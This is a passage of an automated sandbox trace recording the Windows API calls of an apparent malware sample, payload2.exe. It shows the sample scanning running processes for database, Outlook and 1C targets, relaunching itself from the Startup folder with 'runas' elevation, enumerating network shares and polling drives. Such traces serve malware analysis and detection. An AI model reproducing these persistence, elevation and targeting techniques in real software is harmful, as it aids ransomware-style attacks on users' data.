lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0274.495] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0274.495] Process32NextW (in: hSnapshot=0x3a0, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0274.495] lstrlenW (lpString="lsass.exe") returned 9 [0274.495] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0274.495] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0274.495] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0274.496] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0274.496] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0274.496] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0274.496] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0274.496] Process32NextW (in: hSnapshot=0x3a0, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0274.496] lstrlenW (lpString="lsm.exe") returned 7 [0274.496] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0274.496] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0274.496] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0274.496] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0274.496] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0274.496] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0274.496] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0274.496] Process32NextW (in: hSnapshot=0x3a0, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.496] lstrlenW (lpString="svchost.exe") returned 11 [0274.496] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0274.496] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0274.496] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0274.496] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0274.497] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0274.497] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0274.497] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0274.497] Process32NextW (in: hSnapshot=0x3a0, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.497] lstrlenW (lpString="svchost.exe") returned 11 [0274.497] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0274.497] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0274.497] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0274.497] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0274.497] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0274.497] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0274.497] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0274.497] Process32NextW (in: hSnapshot=0x3a0, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.497] lstrlenW (lpString="svchost.exe") returned 11 [0274.497] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0274.497] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0274.497] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0274.497] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0274.497] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0274.497] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0274.498] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0274.498] Process32NextW (in: hSnapshot=0x3a0, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.498] lstrlenW (lpString="svchost.exe") returned 11 [0274.498] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0274.498] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0274.498] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0274.498] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0274.498] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0274.498] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0274.498] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0274.498] Process32NextW (in: hSnapshot=0x3a0, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.498] lstrlenW (lpString="svchost.exe") returned 11 [0274.498] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0274.498] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0274.498] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0274.498] Process32NextW (in: hSnapshot=0x3a0, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0274.499] lstrlenW (lpString="audiodg.exe") returned 11 [0274.499] Process32NextW (in: hSnapshot=0x3a0, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.499] lstrlenW (lpString="svchost.exe") returned 11 [0274.499] Process32NextW (in: hSnapshot=0x3a0, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.499] lstrlenW (lpString="svchost.exe") returned 11 [0274.499] Process32NextW (in: hSnapshot=0x3a0, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0274.500] lstrlenW (lpString="userinit.exe") returned 12 [0274.500] Process32NextW (in: hSnapshot=0x3a0, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0274.500] lstrlenW (lpString="dwm.exe") returned 7 [0274.500] Process32NextW (in: hSnapshot=0x3a0, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0274.500] lstrlenW (lpString="explorer.exe") returned 12 [0274.500] Process32NextW (in: hSnapshot=0x3a0, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0274.500] lstrlenW (lpString="spoolsv.exe") returned 11 [0274.500] Process32NextW (in: hSnapshot=0x3a0, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0274.501] lstrlenW (lpString="taskhost.exe") returned 12 [0274.501] Process32NextW (in: hSnapshot=0x3a0, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0274.501] lstrlenW (lpString="svchost.exe") returned 11 [0274.501] Process32NextW (in: hSnapshot=0x3a0, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1 [0274.501] lstrlenW (lpString="payload2.exe") returned 12 [0274.501] Process32NextW (in: hSnapshot=0x3a0, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0274.502] lstrlenW (lpString="reader_sl.exe") returned 13 [0274.502] Process32NextW (in: hSnapshot=0x3a0, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0274.502] lstrlenW (lpString="dllhost.exe") returned 11 [0274.502] Process32NextW (in: hSnapshot=0x3a0, lppe=0x207fd34 | out: lppe=0x207fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0274.502] CloseHandle (hObject=0x3a0) returned 1 [0274.502] Sleep (dwMilliseconds=0x1f4) Thread: id = 88 os_tid = 0x600 [0264.596] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2f5030 [0264.596] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xfffe) returned 0x3002f0 [0264.596] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2f5060 [0264.596] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2f5060, Size=0x20) returned 0x2d9ee8 [0264.596] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2f5060 [0264.596] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2f5060, Size=0x20) returned 0x2d9f10 [0264.596] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77410000 [0264.596] GetProcAddress (hModule=0x77410000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7743d650 [0264.596] Wow64DisableWow64FsRedirection (in: OldValue=0x21bff28 | out: OldValue=0x21bff28*=0x0) returned 1 [0264.597] lstrlenW (lpString="kernel32.dll") returned 12 [0264.597] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d9ee8 | out: hHeap=0x2a0000) returned 1 [0264.597] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0264.597] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d9f10 | out: hHeap=0x2a0000) returned 1 [0264.597] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3002f0, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload2.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\payload2.exe")) returned 0x68 [0264.597] ShellExecuteExW (pExecInfo=0x21bff34*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload2.exe", lpParameters="-a", lpDirectory=0x0, nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) Thread: id = 89 os_tid = 0x604 [0264.599] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2f50a8 [0264.599] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2f50a8, Size=0x20) returned 0x2d9f10 [0264.599] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d9f10, Size=0x40) returned 0x2dae88 [0264.599] GetLogicalDrives () returned 0x4 [0264.599] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xfffe) returned 0x332f08 [0264.599] GetComputerNameW (in: lpBuffer=0x332f0c, nSize=0x22fff6c | out: lpBuffer="XDUWTFONO", nSize=0x22fff6c) returned 1 [0264.600] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1000) returned 0x2fd540 [0264.600] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x22fff3c | out: lphEnum=0x22fff3c*=0x2da4e0) returned 0x0 [0264.600] WNetEnumResourceW (in: hEnum=0x2da4e0, lpcCount=0x22fff38, lpBuffer=0x2fd540, lpBufferSize=0x22fff40 | out: lpcCount=0x22fff38, lpBuffer=0x2fd540, lpBufferSize=0x22fff40) returned 0x103 [0264.600] WNetCloseEnum (hEnum=0x2da4e0) returned 0x0 [0264.600] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x22fff3c | out: lphEnum=0x22fff3c*=0x2fbbf8) returned 0x0 [0266.244] WNetEnumResourceW (in: hEnum=0x2fbbf8, lpcCount=0x22fff38, lpBuffer=0x2fd540, lpBufferSize=0x22fff40 | out: lpcCount=0x22fff38, lpBuffer=0x2fd540, lpBufferSize=0x22fff40) returned 0x0 [0266.244] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1000) returned 0x313028 [0266.244] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x2fd540, lphEnum=0x22fff10 | out: lphEnum=0x22fff10*=0x2da6e0) returned 0x0 [0266.766] WNetEnumResourceW (in: hEnum=0x2da6e0, lpcCount=0x22fff0c, lpBuffer=0x313028, lpBufferSize=0x22fff14 | out: lpcCount=0x22fff0c, lpBuffer=0x313028, lpBufferSize=0x22fff14) returned 0x103 [0266.766] WNetCloseEnum (hEnum=0x2da6e0) returned 0x0 [0266.766] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1000) returned 0x3a50f48 [0266.766] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x2fd560, lphEnum=0x22fff10 | out: lphEnum=0x22fff10*=0x0) returned 0x4c6 [0266.924] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1000) returned 0x41b31e8 [0266.924] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x2fd580, lphEnum=0x22fff10 | out: lphEnum=0x22fff10*=0x0) returned 0x4c6 [0266.925] WNetEnumResourceW (in: hEnum=0x2fbbf8, lpcCount=0x22fff38, lpBuffer=0x2fd540, lpBufferSize=0x22fff40 | out: lpcCount=0x22fff38, lpBuffer=0x2fd540, lpBufferSize=0x22fff40) returned 0x103 [0266.925] WNetCloseEnum (hEnum=0x2fbbf8) returned 0x0 [0266.925] GetLogicalDrives () returned 0x4 [0266.925] Sleep (dwMilliseconds=0x64) [0267.181] GetLogicalDrives () returned 0x4 [0267.181] Sleep (dwMilliseconds=0x64) [0267.499] GetLogicalDrives () returned 0x4 [0267.499] Sleep (dwMilliseconds=0x64) [0267.718] GetLogicalDrives () returned 0x4 [0267.718] Sleep (dwMilliseconds=0x64) [0267.871] GetLogicalDrives () returned 0x4 [0267.871] Sleep (dwMilliseconds=0x64) [0268.092] GetLogicalDrives () returned 0x4 [0268.092] Sleep (dwMilliseconds=0x64) [0268.342] GetLogicalDrives () returned 0x4 [0268.342] Sleep (dwMilliseconds=0x64) [0268.533] GetLogicalDrives () returned 0x4 [0268.533] Sleep (dwMilliseconds=0x64) [0268.754] GetLogicalDrives () returned 0x4 [0268.754] Sleep (dwMilliseconds=0x64) [0269.137] GetLogicalDrives () returned 0x4 [0269.137] Sleep (dwMilliseconds=0x64) [0269.349] GetLogicalDrives () returned 0x4 [0269.349] Sleep (dwMilliseconds=0x64) [0269.462] GetLogicalDrives () returned 0x4 [0269.462] Sleep (dwMilliseconds=0x64) [0269.680] GetLogicalDrives () returned 0x4 [0269.680] Sleep (dwMilliseconds=0x64) [0269.791] GetLogicalDrives () returned 0x4 [0269.791] Sleep (dwMilliseconds=0x64) [0269.939] GetLogicalDrives () returned 0x4 [0269.939] Sleep (dwMilliseconds=0x64) [0270.152] GetLogicalDrives () returned 0x4 [0270.152] Sleep (dwMilliseconds=0x64) [0270.263] GetLogicalDrives () returned 0x4 [0270.263] Sleep (dwMilliseconds=0x64) [0270.400] GetLogicalDrives () returned 0x4 [0270.400] Sleep (dwMilliseconds=0x64) [0270.546] GetLogicalDrives () returned 0x4 [0270.546] Sleep (dwMilliseconds=0x64) [0270.983] GetLogicalDrives () returned 0x4 [0270.983] Sleep (dwMilliseconds=0x64) [0271.198] GetLogicalDrives () returned 0x4 [0271.198] Sleep (dwMilliseconds=0x64) [0271.481] GetLogicalDrives () returned 0x4 [0271.481] Sleep (dwMilliseconds=0x64) [0271.952] GetLogicalDrives () returned 0x4 [0271.952] Sleep (dwMilliseconds=0x64) [0272.223] GetLogicalDrives () returned 0x4 [0272.223] Sleep (dwMilliseconds=0x64) [0272.598] GetLogicalDrives () returned 0x4 [0272.598] Sleep (dwMilliseconds=0x64) [0272.861] GetLogicalDrives () returned 0x4 [0272.861] Sleep (dwMilliseconds=0x64) [0273.061] GetLogicalDrives () returned 0x4 [0273.061] Sleep (dwMilliseconds=0x64) [0273.426] GetLogicalDrives () returned 0x4 [0273.426] Sleep (dwMilliseconds=0x64) [0273.738] GetLogicalDrives () returned 0x4 [0273.738] Sleep (dwMilliseconds=0x64) [0274.151] GetLogicalDrives () returned 0x4 [0274.158] Sleep (dwMilliseconds=0x64) [0274.320] GetLogicalDrives () returned 0x4 [0274.320] Sleep (dwMilliseconds=0x64) [0274.510] GetLogicalDrives () returned 0x4 [0274.510] Sleep (dwMilliseconds=0x64) [0274.823] GetLogicalDrives () returned 0x4 [0274.823] Sleep (dwMilliseconds=0x64) [0274.986] GetLogicalDrives () returned 0x4 [0274.986] Sleep (dwMilliseconds=0x64) Thread: id = 90 os_tid = 0x608 [0266.245] GetTickCount () returned 0x70db [0266.245] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x24) returned 0x2fbc38 [0266.245] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x2fbc38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x150 [0266.457] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x2fbc38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x158 [0266.460] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x2fbc38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x124 [0266.461] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x2fbc38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x164 [0266.462] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2f53d8 [0266.462] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2f53d8, Size=0x20) returned 0x312ac0 [0266.462] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2f53d8 [0266.462] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2f53d8, Size=0x20) returned 0x312ae8 [0266.462] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77410000 [0266.585] GetProcAddress (hModule=0x77410000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7743d650 [0266.585] Wow64DisableWow64FsRedirection (in: OldValue=0x243ff84 | out: OldValue=0x243ff84*=0x0) returned 1 [0266.585] lstrlenW (lpString="kernel32.dll") returned 12 [0266.585] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x312ac0 | out: hHeap=0x2a0000) returned 1 [0266.585] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0266.585] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x312ae8 | out: hHeap=0x2a0000) returned 1 [0266.585] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x2deec0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x188 [0266.586] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0266.830] GetTickCount () returned 0x7261 [0266.830] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0267.006] GetTickCount () returned 0x731c [0267.006] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0267.184] GetTickCount () returned 0x73c8 [0267.184] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0267.499] GetTickCount () returned 0x7500 [0267.499] GetTickCount () returned 0x7500 [0267.499] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0267.718] GetTickCount () returned 0x75da [0267.718] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0267.871] GetTickCount () returned 0x7676 [0267.871] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0268.091] GetTickCount () returned 0x7750 [0268.091] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0268.342] GetTickCount () returned 0x784a [0268.342] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0268.531] GetTickCount () returned 0x7905 [0268.531] GetTickCount () returned 0x7905 [0268.532] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0268.754] GetTickCount () returned 0x79ef [0268.754] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0269.137] GetTickCount () returned 0x7b66 [0269.137] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0269.349] GetTickCount () returned 0x7c31 [0269.349] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0269.462] GetTickCount () returned 0x7cad [0269.462] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0269.680] GetTickCount () returned 0x7d78 [0269.680] GetTickCount () returned 0x7d78 [0269.680] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0269.790] GetTickCount () returned 0x7de5 [0269.791] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0269.939] GetTickCount () returned 0x7e53 [0269.939] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0270.152] GetTickCount () returned 0x7f2d [0270.152] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0270.263] GetTickCount () returned 0x7f9a [0270.263] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0270.400] GetTickCount () returned 0x8017 [0270.401] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0270.546] GetTickCount () returned 0x80a3 [0270.546] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0270.983] GetTickCount () returned 0x8249 [0270.983] GetTickCount () returned 0x8249 [0270.983] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0271.198] GetTickCount () returned 0x8313 [0271.198] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0271.482] GetTickCount () returned 0x841d [0271.482] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0271.952] GetTickCount () returned 0x85f1 [0271.952] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0272.223] GetTickCount () returned 0x86fa [0272.223] GetTickCount () returned 0x86fa [0272.223] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0272.598] GetTickCount () returned 0x8870 [0272.598] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0272.861] GetTickCount () returned 0x896a [0272.861] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0273.062] GetTickCount () returned 0x8a25 [0273.062] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0273.426] GetTickCount () returned 0x8b8c [0273.426] GetTickCount () returned 0x8b8c [0273.426] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0273.738] GetTickCount () returned 0x8cc4 [0273.738] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0274.160] GetTickCount () returned 0x8e59 [0274.160] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0274.320] GetTickCount () returned 0x8ef5 [0274.320] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0274.510] GetTickCount () returned 0x8fb1 [0274.510] GetTickCount () returned 0x8fb1 [0274.510] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0274.823] GetTickCount () returned 0x90d9 [0274.823] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) returned 0x102 [0274.986] GetTickCount () returned 0x9175 [0274.986] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x64) Thread: id = 91 os_tid = 0x60c [0266.244] GetTickCount () returned 0x70db [0266.244] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x24) returned 0x2fe9a8 [0266.244] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x2fe9a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14c [0266.246] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x2fe9a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x154 [0266.457] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, 